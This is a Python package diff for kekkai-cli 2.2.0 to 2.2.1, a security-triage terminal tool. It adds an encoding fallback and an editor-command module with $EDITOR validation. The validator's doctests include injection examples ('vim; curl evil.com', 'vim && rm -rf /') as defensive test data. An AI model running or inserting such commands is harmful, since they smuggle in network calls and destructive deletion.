kekkai-cli 2.2.0__py3-none-any.whl → 2.2.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
kekkai/cli.py CHANGED
@@ -1268,9 +1268,12 @@ def _command_triage(parsed: argparse.Namespace) -> int:
1268
1268
  except (OSError, json.JSONDecodeError, KeyError):
1269
1269
  pass
1270
1270
 
1271
- # Fall back to current directory if still not set
1271
+ # Fall back to current directory if still not set (with warning)
1272
1272
  if repo_path is None:
1273
1273
  repo_path = Path.cwd()
1274
+ console.print("[warning]⚠ Repo path not detected. Using current directory.[/warning]")
1275
+ console.print("[dim]Tip: Use --repo to specify repository root explicitly.[/dim]")
1276
+ console.print(f"[dim]Current directory: {repo_path}[/dim]\n")
1274
1277
 
1275
1278
  return run_triage(
1276
1279
  findings=findings,
kekkai/output.py CHANGED
@@ -57,7 +57,7 @@ BANNER_ASCII = r"""
57
57
  /_/\_\\___/_/\_/_/\_\\_,_/_/
58
58
  """
59
59
 
60
- VERSION = "2.2.0"
60
+ VERSION = "2.2.1"
61
61
 
62
62
 
63
63
  def print_dashboard() -> None:
@@ -210,22 +210,38 @@ class CodeContextExtractor:
210
210
  error=f"File too large for display ({size_mb:.1f}MB)",
211
211
  )
212
212
 
213
- # Read file content (with caching for performance)
213
+ # Read file content (with caching for performance and encoding fallback)
214
214
  cache_key = str(full_path)
215
215
  if cache_key in self._file_cache:
216
216
  file_content = self._file_cache[cache_key]
217
217
  else:
218
218
  try:
219
+ # Try UTF-8 first (strict mode)
219
220
  file_content = full_path.read_text(encoding="utf-8")
220
- # Cache the content
221
- self._file_cache[cache_key] = file_content
222
- # Evict oldest entry if cache is full (simple FIFO)
223
- if len(self._file_cache) > self._cache_max_size:
224
- # Remove first (oldest) entry
225
- oldest_key = next(iter(self._file_cache))
226
- del self._file_cache[oldest_key]
227
- except (OSError, UnicodeDecodeError) as e:
228
- # ASVS V7.4.1: Sanitized error
221
+ except UnicodeDecodeError:
222
+ # HOTFIX: Fallback to UTF-8 with replacement characters
223
+ # This allows viewing legacy files (Windows-1252, Latin-1) with � for invalid chars
224
+ # instead of completely hiding the file with "Cannot read file" error
225
+ logger.info(
226
+ "code_context_encoding_fallback",
227
+ extra={"file_path": Path(file_path).name, "reason": "non_utf8"},
228
+ )
229
+ try:
230
+ file_content = full_path.read_text(encoding="utf-8", errors="replace")
231
+ except (OSError, UnicodeDecodeError) as e:
232
+ # Even fallback failed (should be rare - permissions, etc.)
233
+ logger.warning(
234
+ "code_context_read_error",
235
+ extra={"file_path": Path(file_path).name, "error": str(e)},
236
+ )
237
+ return CodeContext(
238
+ code="",
239
+ language="",
240
+ vulnerable_line="",
241
+ error="Cannot read file (encoding error)",
242
+ )
243
+ except OSError as e:
244
+ # File read error (permissions, etc.)
229
245
  logger.warning(
230
246
  "code_context_read_error",
231
247
  extra={"file_path": Path(file_path).name, "error": str(e)},
@@ -237,6 +253,14 @@ class CodeContextExtractor:
237
253
  error="Cannot read file",
238
254
  )
239
255
 
256
+ # Cache the content
257
+ self._file_cache[cache_key] = file_content
258
+ # Evict oldest entry if cache is full (simple FIFO)
259
+ if len(self._file_cache) > self._cache_max_size:
260
+ # Remove first (oldest) entry
261
+ oldest_key = next(iter(self._file_cache))
262
+ del self._file_cache[oldest_key]
263
+
240
264
  # Extract code context using existing logic from fix engine
241
265
  code_context, vulnerable_line = self._prompt_builder.extract_code_context(
242
266
  file_content, line
@@ -0,0 +1,166 @@
1
+ """Editor-specific line jump syntax support.
2
+
3
+ Provides detection and command building for popular editors with
4
+ security validation per ASVS V5.1.3.
5
+ """
6
+
7
+ from __future__ import annotations
8
+
9
+ import re
10
+ from dataclasses import dataclass
11
+ from pathlib import Path
12
+
13
+ __all__ = [
14
+ "EditorConfig",
15
+ "detect_editor_config",
16
+ "validate_editor_name",
17
+ "EDITOR_REGISTRY",
18
+ ]
19
+
20
+ # ASVS V5.1.3: Only allow safe characters in editor names
21
+ EDITOR_NAME_PATTERN = re.compile(r"^[a-zA-Z0-9/_.-]+$")
22
+
23
+
24
+ @dataclass
25
+ class EditorConfig:
26
+ """Editor-specific command line configuration.
27
+
28
+ Attributes:
29
+ name: Canonical editor name (e.g., "vim", "code", "subl").
30
+ syntax_type: Command syntax category for building commands.
31
+ """
32
+
33
+ name: str
34
+ syntax_type: str # "vim", "vscode", "sublime", "notepadpp", "jetbrains"
35
+
36
+
37
+ # Editor registry mapping base names to configurations
38
+ EDITOR_REGISTRY: dict[str, EditorConfig] = {
39
+ # Vim family (syntax: editor +LINE file)
40
+ "vim": EditorConfig("vim", "vim"),
41
+ "nvim": EditorConfig("nvim", "vim"),
42
+ "neovim": EditorConfig("neovim", "vim"),
43
+ "vi": EditorConfig("vi", "vim"),
44
+ # Emacs family (syntax: editor +LINE file)
45
+ "emacs": EditorConfig("emacs", "vim"),
46
+ "nano": EditorConfig("nano", "vim"),
47
+ # VS Code (syntax: code -g file:line)
48
+ "code": EditorConfig("code", "vscode"),
49
+ "code-insiders": EditorConfig("code-insiders", "vscode"),
50
+ "codium": EditorConfig("codium", "vscode"), # VSCodium (FOSS fork)
51
+ # Sublime Text (syntax: subl file:line)
52
+ "subl": EditorConfig("subl", "sublime"),
53
+ "sublime": EditorConfig("sublime", "sublime"),
54
+ "sublime_text": EditorConfig("sublime_text", "sublime"),
55
+ # Atom (syntax: atom file:line) - legacy but still used
56
+ "atom": EditorConfig("atom", "sublime"),
57
+ # Notepad++ (syntax: notepad++ -nLINE file)
58
+ "notepad++": EditorConfig("notepad++", "notepadpp"),
59
+ "notepad++.exe": EditorConfig("notepad++.exe", "notepadpp"),
60
+ # JetBrains IDEs (syntax: editor --line LINE file)
61
+ "idea": EditorConfig("idea", "jetbrains"),
62
+ "pycharm": EditorConfig("pycharm", "jetbrains"),
63
+ "webstorm": EditorConfig("webstorm", "jetbrains"),
64
+ "phpstorm": EditorConfig("phpstorm", "jetbrains"),
65
+ "goland": EditorConfig("goland", "jetbrains"),
66
+ "rider": EditorConfig("rider", "jetbrains"),
67
+ "clion": EditorConfig("clion", "jetbrains"),
68
+ "rubymine": EditorConfig("rubymine", "jetbrains"),
69
+ }
70
+
71
+
72
+ def detect_editor_config(editor_name: str) -> EditorConfig:
73
+ """Detect editor configuration from name.
74
+
75
+ Args:
76
+ editor_name: Editor executable name (e.g., "vim", "/usr/bin/code").
77
+
78
+ Returns:
79
+ EditorConfig for the detected editor, or vim-style default if unknown.
80
+
81
+ Examples:
82
+ >>> detect_editor_config("vim").syntax_type
83
+ 'vim'
84
+ >>> detect_editor_config("/usr/local/bin/code").syntax_type
85
+ 'vscode'
86
+ >>> detect_editor_config("unknown-editor").syntax_type
87
+ 'vim'
88
+ """
89
+ # Extract base name from path
90
+ base_name = Path(editor_name).stem.lower()
91
+
92
+ # Handle .exe extension on Windows
93
+ if base_name.endswith(".exe"):
94
+ base_name = base_name[:-4]
95
+
96
+ # Lookup in registry
97
+ config = EDITOR_REGISTRY.get(base_name)
98
+ if config:
99
+ return config
100
+
101
+ # Default to vim-style syntax for unknown editors
102
+ return EditorConfig("unknown", "vim")
103
+
104
+
105
+ def validate_editor_name(editor: str) -> bool:
106
+ """Validate that editor name is safe to use.
107
+
108
+ Security: ASVS V5.1.3 - Validate data at trust boundaries.
109
+ Rejects editor names containing shell metacharacters to prevent
110
+ command injection attacks.
111
+
112
+ Args:
113
+ editor: Editor name from environment variable.
114
+
115
+ Returns:
116
+ True if editor name is safe, False if it contains unsafe characters.
117
+
118
+ Examples:
119
+ >>> validate_editor_name("vim")
120
+ True
121
+ >>> validate_editor_name("/usr/bin/code")
122
+ True
123
+ >>> validate_editor_name("vim; curl evil.com")
124
+ False
125
+ >>> validate_editor_name("vim && rm -rf /")
126
+ False
127
+ """
128
+ if not editor:
129
+ return False
130
+
131
+ # Check against safe pattern (alphanumeric + /.-_ only)
132
+ return bool(EDITOR_NAME_PATTERN.match(editor))
133
+
134
+
135
+ def build_editor_command(
136
+ editor_path: str, file_path: Path, line: int, editor_config: EditorConfig
137
+ ) -> list[str]:
138
+ """Build editor command arguments based on editor type.
139
+
140
+ Args:
141
+ editor_path: Full path to editor executable.
142
+ file_path: Path to file to open.
143
+ line: Line number to jump to.
144
+ editor_config: Editor configuration with syntax type.
145
+
146
+ Returns:
147
+ List of command arguments for subprocess.run().
148
+
149
+ Security:
150
+ ASVS V14.2.1 - Uses list args (not shell string) to prevent injection.
151
+ """
152
+ if editor_config.syntax_type == "vscode":
153
+ # VS Code: code -g file:line
154
+ return [editor_path, "-g", f"{file_path}:{line}"]
155
+ elif editor_config.syntax_type == "sublime":
156
+ # Sublime Text / Atom: editor file:line
157
+ return [editor_path, f"{file_path}:{line}"]
158
+ elif editor_config.syntax_type == "notepadpp":
159
+ # Notepad++: notepad++ -nLINE file
160
+ return [editor_path, f"-n{line}", str(file_path)]
161
+ elif editor_config.syntax_type == "jetbrains":
162
+ # JetBrains IDEs: editor --line LINE file
163
+ return [editor_path, "--line", str(line), str(file_path)]
164
+ else:
165
+ # Default (Vim/Emacs/Nano): editor +LINE file
166
+ return [editor_path, f"+{line}", str(file_path)]
kekkai/triage/screens.py CHANGED
@@ -436,6 +436,8 @@ class FindingDetailScreen(Screen[None]):
436
436
  import shutil
437
437
  import subprocess
438
438
 
439
+ from .editor_support import build_editor_command, detect_editor_config, validate_editor_name
440
+
439
441
  logger = logging.getLogger(__name__)
440
442
 
441
443
  if not self.finding.file_path or not self.finding.line:
@@ -448,6 +450,15 @@ class FindingDetailScreen(Screen[None]):
448
450
  # Get editor from environment (ASVS V5.1.3: validate before use)
449
451
  editor = os.environ.get("EDITOR", "vim")
450
452
 
453
+ # ASVS V5.1.3: Validate EDITOR value before use (reject shell metacharacters)
454
+ if not validate_editor_name(editor):
455
+ self.notify(
456
+ f"Editor '{editor}' contains unsafe characters. Set a valid $EDITOR.",
457
+ severity="error",
458
+ )
459
+ logger.warning("unsafe_editor_value", extra={"editor": editor})
460
+ return
461
+
451
462
  # Security validation: check editor exists and is executable
452
463
  editor_path = shutil.which(editor)
453
464
  if not editor_path:
@@ -463,18 +474,22 @@ class FindingDetailScreen(Screen[None]):
463
474
  self.notify(f"File not found: {self.finding.file_path}", severity="error")
464
475
  return
465
476
 
477
+ # Detect editor type and build appropriate command
478
+ editor_config = detect_editor_config(editor)
479
+
466
480
  # Log editor invocation (ASVS V16.7.1)
467
481
  logger.info(
468
482
  "editor_opened",
469
483
  extra={
470
484
  "editor": editor,
485
+ "editor_type": editor_config.syntax_type,
471
486
  "file": self.finding.file_path,
472
487
  "line": self.finding.line,
473
488
  },
474
489
  )
475
490
 
476
491
  # ASVS V14.2.1: Use list args (not shell=True) to prevent injection
477
- cmd = [editor_path, f"+{self.finding.line}", str(file_path)]
492
+ cmd = build_editor_command(editor_path, file_path, self.finding.line, editor_config)
478
493
 
479
494
  try:
480
495
  # Suspend TUI, run editor, then resume
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: kekkai-cli
3
- Version: 2.2.0
3
+ Version: 2.2.1
4
4
  Summary: Terminal UI for Trivy/Semgrep/Gitleaks. Local-first security triage.
5
5
  Requires-Python: >=3.12
6
6
  Description-Content-Type: text/markdown
@@ -1,10 +1,10 @@
1
1
  kekkai/__init__.py,sha256=_VrBvJRyqHiXs31S8HOhATk_O2iy-ac0_9X7rHH75j8,143
2
- kekkai/cli.py,sha256=Rj8lsUciI4Rsn5_wfwYDkrD3EsR5FFy2PZzd2qbq3XQ,68206
2
+ kekkai/cli.py,sha256=Mua85FZFkpEmPtP3IUFh1sKkBsQLllln_Qe-ju5okgw,68479
3
3
  kekkai/config.py,sha256=LE7bKsmv5dim5KnZya0V7_LtviNQ1V0pMN_6FyAsMpc,13084
4
4
  kekkai/dojo.py,sha256=erLdTMOioTyzVhXYW8xgdbU5Ro-KQx1OcTQN7_zemmY,18634
5
5
  kekkai/dojo_import.py,sha256=D0ZQM_0JYHqUqJA3l4nKD-RkpvcOcgj-4zv59HRcQ6k,7274
6
6
  kekkai/manifest.py,sha256=Ph5xGDKuVxMW1GVIisRhxUelaiVZQe-W5sZWsq4lHqs,1887
7
- kekkai/output.py,sha256=V8GkFgaT8oYQOxplBeSXv60q6BeBICTfrrLE-5qDuIc,5426
7
+ kekkai/output.py,sha256=1T077PHznM8yfDWycfihvGTGrrpymoAkaHlMr8hAjkk,5426
8
8
  kekkai/paths.py,sha256=EcyG3CEOQFQygowu7O5Mp85dKkXWWvnm1h0j_BetGxY,1190
9
9
  kekkai/policy.py,sha256=0XCUH-SbnO1PsM-exjSFHYHRnLkiNa50QfkyPakwNko,9792
10
10
  kekkai/runner.py,sha256=MBFUiJ4sSVEGNbJ6cv-8p1WHaHqjio6yWEfr_K4GuTs,2037
@@ -61,12 +61,13 @@ kekkai/threatflow/sanitizer.py,sha256=uQsxYZ5VDXutZoj-WMl7fo5T07uHuQZqgVzoVMoaKe
61
61
  kekkai/triage/__init__.py,sha256=lUDFJqQk0EjQD2ZP6s3WQnZ8R-KGds8_W7RmFzBDPN8,2463
62
62
  kekkai/triage/app.py,sha256=WKvT00UDO2ywVgahLlHAcqB-OnPN05Ps_FKoN6RY0lc,5615
63
63
  kekkai/triage/audit.py,sha256=UVaSKKC6tZkHxEoMcnIZkMOT_ngj7QzHWYuDAHas_sc,5842
64
- kekkai/triage/code_context.py,sha256=UyPtvUwdfZLuJjDpzmusYkLzs27GyiInTer95wrYg94,10111
64
+ kekkai/triage/code_context.py,sha256=kmAkQaxgGIxzf2n5s9vkwOBetmuZrQhoDuygxmU9cjg,11311
65
+ kekkai/triage/editor_support.py,sha256=IpOe4KXUdxKBAQMoCWGTNRK2sGYRpuVySiHQRLm4ugc,5497
65
66
  kekkai/triage/fix_screen.py,sha256=jL0ZXoNKBvkhrnWxutPrviMRL5iacJ19qpxX3hKEZvc,8843
66
67
  kekkai/triage/ignore.py,sha256=uBKM7zKyzORj9LJ5AAnoYWZQTRy57P0ZofSapiDWcfI,7305
67
68
  kekkai/triage/loader.py,sha256=vywhS8fcre7PiBX3H2CpKXFxzvO7LcDnIHIB0kzG3R4,5850
68
69
  kekkai/triage/models.py,sha256=nRmWtELMqHWHX1NqZ2upH2ZAJVeBxa3Wh8f3kkB9WYo,5384
69
- kekkai/triage/screens.py,sha256=XeQUiTagNXL_CdH_oqtDnPOdusteRiNBMRBnXeoypK0,19891
70
+ kekkai/triage/screens.py,sha256=it253GNli37S2CkijbVfoxmiobEV3M3-FYdqXhp1tWk,20575
70
71
  kekkai/triage/widgets.py,sha256=eOF6Qoo5uBqjxiEkbpgcO1tbIOGBQBKn75wP9Jw_AaE,4733
71
72
  kekkai_core/__init__.py,sha256=gREN4oarM0azTkSTWTnlDnPZGgv1msai2Deq9Frj3gc,122
72
73
  kekkai_core/redaction.py,sha256=EeWYPjAs2hIXlLKGmGn_PRdK08G4KcOBmbRCoFklbHc,2893
@@ -86,8 +87,8 @@ kekkai_core/windows/chocolatey.py,sha256=tF5S5eN-HeENRt6yQ4TZgwng0oRMX_ScskQ3-eb
86
87
  kekkai_core/windows/installer.py,sha256=MePAywHH3JTIAENv52XtkUMOGqmYqZqkH77VW5PST8o,6945
87
88
  kekkai_core/windows/scoop.py,sha256=lvothICrAoB3lGfkvhqVeNTB50eMmVGA0BE7JNCfHdI,5284
88
89
  kekkai_core/windows/validators.py,sha256=45xUuAbHcKc0WLIZ-0rByPeDD88MAV8KvopngyYBHpQ,6525
89
- kekkai_cli-2.2.0.dist-info/METADATA,sha256=EreFgZdr64N1_IITenfMRgnQCDBtQ6Fabvye96QT3g8,7865
90
- kekkai_cli-2.2.0.dist-info/WHEEL,sha256=wUyA8OaulRlbfwMtmQsvNngGrxQHAvkKcvRmdizlJi0,92
91
- kekkai_cli-2.2.0.dist-info/entry_points.txt,sha256=MBV1OIfxJmT2oJvzeeFKIH1eh8M9kKAn7JqFBeuMfWA,43
92
- kekkai_cli-2.2.0.dist-info/top_level.txt,sha256=wWwh7GGPaUjcaCRmt70ueL3WQoQbeGa5L0T0hgOh-MY,19
93
- kekkai_cli-2.2.0.dist-info/RECORD,,
90
+ kekkai_cli-2.2.1.dist-info/METADATA,sha256=rFe0gsYLeFJPliwHjenTd3jk6VCsB0qlwCkO6OAzxJo,7865
91
+ kekkai_cli-2.2.1.dist-info/WHEEL,sha256=wUyA8OaulRlbfwMtmQsvNngGrxQHAvkKcvRmdizlJi0,92
92
+ kekkai_cli-2.2.1.dist-info/entry_points.txt,sha256=MBV1OIfxJmT2oJvzeeFKIH1eh8M9kKAn7JqFBeuMfWA,43
93
+ kekkai_cli-2.2.1.dist-info/top_level.txt,sha256=wWwh7GGPaUjcaCRmt70ueL3WQoQbeGa5L0T0hgOh-MY,19
94
+ kekkai_cli-2.2.1.dist-info/RECORD,,